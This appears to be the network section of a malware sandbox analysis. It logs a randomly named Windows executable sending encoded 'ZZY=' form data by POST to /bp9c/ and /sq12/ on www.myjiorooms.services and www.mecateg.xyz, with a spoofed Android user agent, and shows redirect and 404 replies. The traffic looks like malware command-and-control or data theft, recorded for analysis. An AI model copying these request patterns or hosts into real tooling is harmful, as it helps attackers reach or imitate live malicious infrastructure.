Oct 9, 2024 14:06:28.510396004 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 12:06:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 01 Oct 2024 05:45:59 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ZlnfSQCbebPvJq1PiObYHW753anxAOW0iOqsMmA%2Bb0PJwSYH%2BvrJDXSjJA9cnsHTiqkORuctl3WIDrH4Q3SpQ4T2%2Faa5R%2FKnzxXCJWO7faq5YLkistvsyzP%2BU2OsDvO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cfe3ea8d85ec472-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 64 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e e6 ac a2 e8 bf 8e e5 85 89 e4 b8 b4 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 36 65 61 65 62 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 20 32 30 30 70 78 20 61 75 74 6f 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 32 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 20 31 35 70 78 20 35 70 78 20 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 [TRUNCATED] Data Ascii: de0<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title></title></head><body style="background: #e6eaeb;"><div style="position: relative;margin: 200px auto 0;padding: 0 0 22px;border-radius: 15px 15px 5px 5px;background: #fff;box-shadow: 10px 20px 20px rgba(101, 102, 103, .75);width:95%;max-width: 400px;color: #fff;text-align: center;"><canvas id="canvas" width="200" height="200" style="display:block;position:absolute;top:-100px;left:0;right:0;margin:0 auto;
Oct 9, 2024 14:06:28.510458946 CEST	1236	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 22 3e 3c 2f 63 61 6e 76 61 73 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 32 34 32 34 32 34 3b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: background:#fff;border-radius:50%;"></canvas><div style="color: #242424;font-size: 28px;padding:111px 0 20px"></div><div style="margin: 25px 0 14px;color: #7b7b7b;font-size: 18px;">AG直营 &#20
Oct 9, 2024 14:06:28.510499001 CEST	1236	IN	Data Raw: 78 2e 6c 69 6e 65 57 69 64 74 68 20 3d 20 72 61 73 20 2a 20 30 2e 30 38 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 74 78 2e 73 74 72 6f 6b 65 53 74 79 6c 65 20 3d 20 22 23 64 31 64 32 64 34 22 3b 0a 20 20 20 20 20 20 20 Data Ascii: x.lineWidth = ras * 0.08; ctx.strokeStyle = "#d1d2d4"; ctx.arc(0, 0, ras * 0.8, 0, Math.PI * 2, false); ctx.stroke(); ctx.strokeStyle = "#00a2ff ";
Oct 9, 2024 14:06:28.510536909 CEST	525	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 69 6e 64 65 78 20 3e 20 36 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 78 20 2b 3d 20 31 0a 20 20 20 20 20 20 20 Data Ascii: } else if (index > 60) { index += 1 } else { index += 3 } setTimeout(drawFrame, 20)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49981	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:33.967888117 CEST	695	OUT	POST /bp9c/ HTTP/1.1 Host: www.myjiorooms.services Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.myjiorooms.services Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.myjiorooms.services/bp9c/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 50 48 4c 62 68 31 42 69 36 77 6f 51 5a 4b 76 44 4b 4e 57 67 63 48 54 4a 56 50 46 70 72 5a 31 31 76 32 6e 31 75 6f 46 73 6f 69 67 76 6e 62 50 54 75 56 44 4f 7a 4e 6d 63 6c 52 46 4e 33 71 32 64 57 6e 45 46 54 44 4f 6c 6c 38 42 72 61 4a 69 2f 79 6f 43 31 4e 52 59 74 38 61 50 77 6b 52 53 74 65 30 55 61 35 50 57 6c 2b 47 45 2f 36 63 72 74 63 71 45 65 41 41 6b 6f 75 41 4d 2f 4c 57 6a 4d 6a 71 73 50 61 2f 6e 6f 41 52 75 65 73 36 37 61 61 4a 71 4d 73 47 54 65 41 36 42 2f 49 70 75 55 2f 4b 5a 51 35 64 48 6a 41 69 72 36 30 37 6d 33 62 35 36 2b 70 2f 51 4d 4c 62 66 78 69 45 6f 69 67 63 46 4f 75 76 53 78 53 70 73 51 79 59 61 54 61 51 3d 3d Data Ascii: ZZY=PHLbh1Bi6woQZKvDKNWgcHTJVPFprZ11v2n1uoFsoigvnbPTuVDOzNmclRFN3q2dWnEFTDOll8BraJi/yoC1NRYt8aPwkRSte0Ua5PWl+GE/6crtcqEeAAkouAM/LWjMjqsPa/noARues67aaJqMsGTeA6B/IpuU/KZQ5dHjAir607m3b56+p/QMLbfxiEoigcFOuvSxSpsQyYaTaQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49982	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:36.511487961 CEST	715	OUT	POST /bp9c/ HTTP/1.1 Host: www.myjiorooms.services Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.myjiorooms.services Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.myjiorooms.services/bp9c/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 50 48 4c 62 68 31 42 69 36 77 6f 51 5a 71 66 44 5a 36 43 67 5a 6e 54 49 61 76 46 70 77 70 31 78 76 32 72 31 75 71 6f 6e 6f 55 59 76 6e 36 2f 54 74 55 44 4f 77 4e 6d 63 74 78 46 4d 36 4b 32 47 57 6e 4a 77 54 48 47 6c 6c 39 68 72 61 4a 79 2f 6e 50 75 79 4e 42 59 7a 70 4b 50 79 72 78 53 74 65 30 55 61 35 50 43 63 2b 47 63 2f 36 4e 62 74 64 4f 51 42 65 51 6b 72 74 41 4d 2f 59 47 6a 49 6a 71 73 74 61 38 6a 4f 41 54 6d 65 73 36 72 61 61 34 71 4e 69 47 54 63 66 71 41 36 44 61 7a 41 34 36 42 2b 39 2f 2f 59 45 53 48 2f 31 4e 37 56 42 62 32 53 33 75 6f 33 50 5a 37 48 31 69 31 58 69 64 42 57 6a 4e 6d 51 4e 65 4a 36 2f 4b 37 58 4d 6d 53 2b 6c 41 41 54 34 38 52 76 33 53 34 53 61 38 52 71 61 31 4d 3d Data Ascii: ZZY=PHLbh1Bi6woQZqfDZ6CgZnTIavFpwp1xv2r1uqonoUYvn6/TtUDOwNmctxFM6K2GWnJwTHGll9hraJy/nPuyNBYzpKPyrxSte0Ua5PCc+Gc/6NbtdOQBeQkrtAM/YGjIjqsta8jOATmes6raa4qNiGTcfqA6DazA46B+9//YESH/1N7VBb2S3uo3PZ7H1i1XidBWjNmQNeJ6/K7XMmS+lAAT48Rv3S4Sa8Rqa1M=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49983	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:39.058021069 CEST	1728	OUT	POST /bp9c/ HTTP/1.1 Host: www.myjiorooms.services Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.myjiorooms.services Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.myjiorooms.services/bp9c/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 50 48 4c 62 68 31 42 69 36 77 6f 51 5a 71 66 44 5a 36 43 67 5a 6e 54 49 61 76 46 70 77 70 31 78 76 32 72 31 75 71 6f 6e 6f 55 51 76 6d 49 6e 54 76 33 72 4f 78 4e 6d 63 78 68 46 42 36 4b 32 4c 57 6e 51 34 54 48 43 54 6c 35 52 72 5a 71 4b 2f 6a 4f 75 79 44 42 59 7a 78 36 50 7a 6b 52 54 33 65 30 46 54 35 50 53 63 2b 47 63 2f 36 4f 7a 74 4c 71 45 42 63 51 6b 6f 75 41 4e 77 4c 57 69 76 6a 75 35 51 61 39 58 34 41 6a 47 65 31 61 62 61 63 61 79 4e 75 47 54 61 63 71 41 63 44 61 2f 32 34 36 64 79 39 37 32 39 45 52 58 2f 30 61 43 64 53 61 79 45 74 2f 78 74 43 62 37 79 2f 42 31 33 37 4d 74 6d 70 63 79 4a 52 65 31 42 2f 4c 50 59 45 54 4c 42 7a 41 78 73 7a 4d 35 2b 6b 6e 78 64 4f 63 4a 50 42 69 37 78 2b 44 66 34 2b 59 35 45 43 52 41 61 45 42 6d 46 54 33 6a 6e 70 69 31 6f 6f 68 65 59 34 32 43 53 62 69 36 63 43 6b 77 54 30 61 50 58 4a 63 4c 73 34 66 38 6e 49 2f 6b 65 61 54 67 33 6e 56 43 4b 79 70 51 4b 43 37 56 73 72 31 79 66 73 64 57 66 70 32 4b 6c 36 47 79 7a 63 62 69 45 42 45 4c 46 4b 77 72 79 53 72 [TRUNCATED] Data Ascii: ZZY=PHLbh1Bi6woQZqfDZ6CgZnTIavFpwp1xv2r1uqonoUQvmInTv3rOxNmcxhFB6K2LWnQ4THCTl5RrZqK/jOuyDBYzx6PzkRT3e0FT5PSc+Gc/6OztLqEBcQkouANwLWivju5Qa9X4AjGe1abacayNuGTacqAcDa/246dy9729ERX/0aCdSayEt/xtCb7y/B137MtmpcyJRe1B/LPYETLBzAxszM5+knxdOcJPBi7x+Df4+Y5ECRAaEBmFT3jnpi1ooheY42CSbi6cCkwT0aPXJcLs4f8nI/keaTg3nVCKypQKC7Vsr1yfsdWfp2Kl6GyzcbiEBELFKwrySr8eBNzGWro9xyhcHdfX8uBHvBo4+CKGkJGdc8VuSa3xt08DTKp4tViEj7h3L7/tgWCJjONPwzMWvoO7tXk7crVTX/4OJRBHWGEWcJYsNaan36OoTiJQ7ewWKeYAISdWfOoPnZwxv6R9Oeo1DHh8Ugk7kSnehZpHcMNQAm+FMZR5Zq4W6zVAvUgr8KgPJZIQAdX1NfA/bSgh/C5uWwETRpV8Eb+XkKgPJJEAm8pTU3PbbuQLOKId0wJrSuixo/ndZbtHpEcqetc9UnExqwqv0PNWmJaX8Rw1y9DbSwyFQ/ekwP+J84lKNKYDz5rtAbZCkC+IkO2fY1xq1mhUFXa1XiBqAzK5vbRel7k9HDKnivzop9BttPXe+m22iisZ/bmc1BozHXb90FGsf47IGcXZT3V7sKa4shN1IKTgdp3hdZrgqCFgOsysEH9iMImT+gyA6GBHzETUkInFCF1xd5bMBZXD9Vt9TfPvSHK5bQWPGMWxJ9XQDA+u+kv3irSCykXw5/wwRDlqmjEHvpaseHKBOKq9fmGqefES+dmWDAvWy9GSWCuL1MbpFIKzRvWEJs8bhVoOkNICFl9RiHcxOWxEOu7WavAL9ATyWjaq3TlYZaGO0p5rI+oiW4vwsGLQnIWPMP4oEcbhBT2Av7+U0L/j2wFEv0+Y5mt6UYdv [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49984	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:41.706000090 CEST	422	OUT	GET /bp9c/?ZZY=CFj7iDxn1x8AZpvFPceYGF6mfIwPwoMTrHXd5ZNPnjoM55LZ4XrC1cu6kzZqztyAGGEhFACZ681UEqmRh4qhBCgu4rL42B/pdGdLhtvwmGlR74+AXtAhf2M5tQk/HW327Y9QXMr8MgHb&mHm0o=rrqhoH HTTP/1.1 Host: www.myjiorooms.services Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:06:49.193428040 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:06:49 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 5a 59 3d 43 46 6a 37 69 44 78 6e 31 78 38 41 5a 70 76 46 50 63 65 59 47 46 36 6d 66 49 77 50 77 6f 4d 54 72 48 58 64 35 5a 4e 50 6e 6a 6f 4d 35 35 4c 5a 34 58 72 43 31 63 75 36 6b 7a 5a 71 7a 74 79 41 47 47 45 68 46 41 43 5a 36 38 31 55 45 71 6d 52 68 34 71 68 42 43 67 75 34 72 4c 34 32 42 2f 70 64 47 64 4c 68 74 76 77 6d 47 6c 52 37 34 2b 41 58 74 41 68 66 32 4d 35 74 51 6b 2f 48 57 33 32 37 59 39 51 58 4d 72 38 4d 67 48 62 26 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZZY=CFj7iDxn1x8AZpvFPceYGF6mfIwPwoMTrHXd5ZNPnjoM55LZ4XrC1cu6kzZqztyAGGEhFACZ681UEqmRh4qhBCgu4rL42B/pdGdLhtvwmGlR74+AXtAhf2M5tQk/HW327Y9QXMr8MgHb&mHm0o=rrqhoH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49985	162.0.238.238	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:54.263029099 CEST	671	OUT	POST /sq12/ HTTP/1.1 Host: www.mecateg.xyz Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.mecateg.xyz Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.mecateg.xyz/sq12/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 2b 34 73 32 7a 57 51 43 4a 41 33 47 43 4f 67 50 6f 42 69 44 79 4f 4b 39 4a 53 6d 69 58 34 70 65 77 42 4d 32 4d 6d 35 78 63 7a 50 45 54 4c 7a 51 66 56 75 47 57 71 4c 6a 46 2b 56 42 45 33 44 68 43 6a 31 67 65 65 6a 45 75 71 59 70 54 70 2f 37 57 6f 56 47 33 59 56 57 58 67 6d 32 4c 5a 52 36 51 32 75 6e 69 30 59 4f 36 47 6a 39 2b 72 59 6d 30 61 61 56 53 30 72 58 55 35 39 44 70 58 6d 48 69 4d 68 6e 78 5a 52 33 79 72 35 54 43 32 70 51 37 35 68 42 78 50 44 63 45 51 43 47 34 4c 36 39 37 66 55 7a 71 76 44 36 44 55 39 4a 2f 35 4f 6b 79 4c 33 71 72 43 56 47 68 73 39 4c 4f 69 61 4c 48 52 33 4a 76 72 62 67 31 2f 32 4e 53 6c 47 42 64 41 3d 3d Data Ascii: ZZY=+4s2zWQCJA3GCOgPoBiDyOK9JSmiX4pewBM2Mm5xczPETLzQfVuGWqLjF+VBE3DhCj1geejEuqYpTp/7WoVG3YVWXgm2LZR6Q2uni0YO6Gj9+rYm0aaVS0rXU59DpXmHiMhnxZR3yr5TC2pQ75hBxPDcEQCG4L697fUzqvD6DU9J/5OkyL3qrCVGhs9LOiaLHR3Jvrbg1/2NSlGBdA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49986	162.0.238.238	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:56.812716961 CEST	691	OUT	POST /sq12/ HTTP/1.1 Host: www.mecateg.xyz Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.mecateg.xyz Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.mecateg.xyz/sq12/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 2b 34 73 32 7a 57 51 43 4a 41 33 47 44 71 6b 50 74 6d 32 44 30 75 4b 2b 56 43 6d 69 4f 49 70 53 77 42 51 32 4d 6c 31 68 66 41 37 45 53 76 33 51 4e 45 75 47 56 71 4c 6a 4c 65 56 41 4c 58 44 36 43 6a 34 56 65 63 33 45 75 71 4d 70 54 74 7a 37 57 66 70 48 34 6f 56 55 43 51 6d 30 46 35 52 36 51 32 75 6e 69 30 4e 47 36 47 37 39 2f 61 6f 6d 37 65 4f 57 52 30 72 57 54 35 39 44 2f 6e 6d 44 69 4d 68 42 78 62 31 64 79 70 42 54 43 32 35 51 38 6f 68 4f 6b 66 44 61 4b 77 43 55 38 59 4f 33 38 2f 55 70 6b 4f 65 67 4c 46 68 68 7a 76 54 47 6f 70 37 47 31 54 74 39 6c 75 5a 39 5a 45 48 2b 46 51 7a 52 69 4a 76 42 71 49 54 6e 66 33 6e 46 4c 34 75 4f 5a 79 45 57 69 7a 66 71 61 2f 69 59 61 65 37 44 54 49 51 3d Data Ascii: ZZY=+4s2zWQCJA3GDqkPtm2D0uK+VCmiOIpSwBQ2Ml1hfA7ESv3QNEuGVqLjLeVALXD6Cj4Vec3EuqMpTtz7WfpH4oVUCQm0F5R6Q2uni0NG6G79/aom7eOWR0rWT59D/nmDiMhBxb1dypBTC25Q8ohOkfDaKwCU8YO38/UpkOegLFhhzvTGop7G1Tt9luZ9ZEH+FQzRiJvBqITnf3nFL4uOZyEWizfqa/iYae7DTIQ=
Oct 9, 2024 14:06:57.416392088 CEST	595	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:06:57 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49987	162.0.238.238	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:06:59.364028931 CEST	1704	OUT	POST /sq12/ HTTP/1.1 Host: www.mecateg.xyz Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.mecateg.xyz Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.mecateg.xyz/sq12/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 2b 34 73 32 7a 57 51 43 4a 41 33 47 44 71 6b 50 74 6d 32 44 30 75 4b 2b 56 43 6d 69 4f 49 70 53 77 42 51 32 4d 6c 31 68 66 42 44 45 54 61 6a 51 66 7a 43 47 55 71 4c 6a 44 2b 56 4e 4c 58 43 34 43 6a 77 52 65 63 72 79 75 70 30 70 56 4f 37 37 51 75 70 48 6a 59 56 55 64 41 6d 78 4c 5a 52 72 51 32 2b 6a 69 30 64 47 36 47 37 39 2f 5a 77 6d 79 71 61 57 58 30 72 58 55 35 39 35 70 58 6e 57 69 4d 5a 2f 78 62 78 6e 7a 59 68 54 42 58 4a 51 36 61 4a 4f 6c 2f 44 59 4e 77 44 48 38 59 54 74 38 2f 34 44 6b 4f 72 33 4c 48 78 68 7a 72 4f 42 74 72 76 70 6a 67 55 70 6e 59 5a 59 66 6e 76 76 48 77 6e 6f 38 71 4c 30 6d 62 69 54 59 31 72 54 4c 73 50 30 44 68 63 30 73 41 7a 2f 62 4b 6e 73 4d 66 72 69 4a 76 7a 6b 32 2b 41 33 2f 77 33 76 38 2b 6b 57 41 45 35 76 35 6a 4a 4a 65 4b 71 74 6f 56 6f 4d 57 64 4f 59 7a 6e 66 2f 48 64 4a 6f 4f 7a 37 5a 49 31 77 6f 6b 39 65 65 39 55 62 30 35 6f 7a 37 4b 79 44 41 2f 46 73 68 34 4c 43 4b 36 65 50 68 7a 6c 6f 30 4f 2f 4e 32 62 33 77 32 72 48 79 50 50 6c 5a 6b 72 4d 2f 79 31 59 [TRUNCATED] Data Ascii: ZZY=+4s2zWQCJA3GDqkPtm2D0uK+VCmiOIpSwBQ2Ml1hfBDETajQfzCGUqLjD+VNLXC4CjwRecryup0pVO77QupHjYVUdAmxLZRrQ2+ji0dG6G79/ZwmyqaWX0rXU595pXnWiMZ/xbxnzYhTBXJQ6aJOl/DYNwDH8YTt8/4DkOr3LHxhzrOBtrvpjgUpnYZYfnvvHwno8qL0mbiTY1rTLsP0Dhc0sAz/bKnsMfriJvzk2+A3/w3v8+kWAE5v5jJJeKqtoVoMWdOYznf/HdJoOz7ZI1wok9ee9Ub05oz7KyDA/Fsh4LCK6ePhzlo0O/N2b3w2rHyPPlZkrM/y1Ydy1mgLde//KdvAoMsB8JNmvT18wgXp6G/CvboaYjtRo3l4xQDWRMfBP5ph8lQdEuGIzxEp/7v/LK/0eOb+ntW11hiMvISzUCZ0mDmihxuT3QSFra57woGMKsHaq2btvzHJmVUDcphK5/mm2xmDaLNOdnPl8m1nQERQg8QGFLKqpD1ix8AqlxVIubPkPX7rQcc0VD+L7+cMbv8tSz0JR5PvYOl1YnWIwqqujrvki3nz40duDYIzgdbMBIuuN3GpHrBvvqBB3nX0VaMelOIOYoUaDOQgB+Om/iyGVVXTGnu3YGe5NsgqN5EwNTcG1GVUz4N+AxEC9pz89e1VsZz0LV4dyQH5HdErWUuQbDKF7/mMRlukDQhc8GmsVtZenHPbQ4L+Yb+nrZf7G+lVw5ynkfnGJ1UuIMF1eB1J4cYwo1a/3zJaGRVzbN9B461ZwFT0XCNhn2A+O3haC1J66YijNj4fu+SJLakdPRwHJNry5Om0YYgxoZ7fijbdTRPzfWHIA8iv3P7I/iJhvwptie9nLtIBgauYOfaZ/4EX02mZc1aHR0amPxy6OogX9w/m1kuujQ/wPXiyR2GhIrE01yKxz+1Pey0x3eJylXqJC0tQ+bG+C7tpYTmoep9pDtLDYwpatE2seSwqGLyuZlJrFSFSg5Nyl/dC+xi5rRVe [TRUNCATED]
Oct 9, 2024 14:06:59.941700935 CEST	595	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:06:59 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 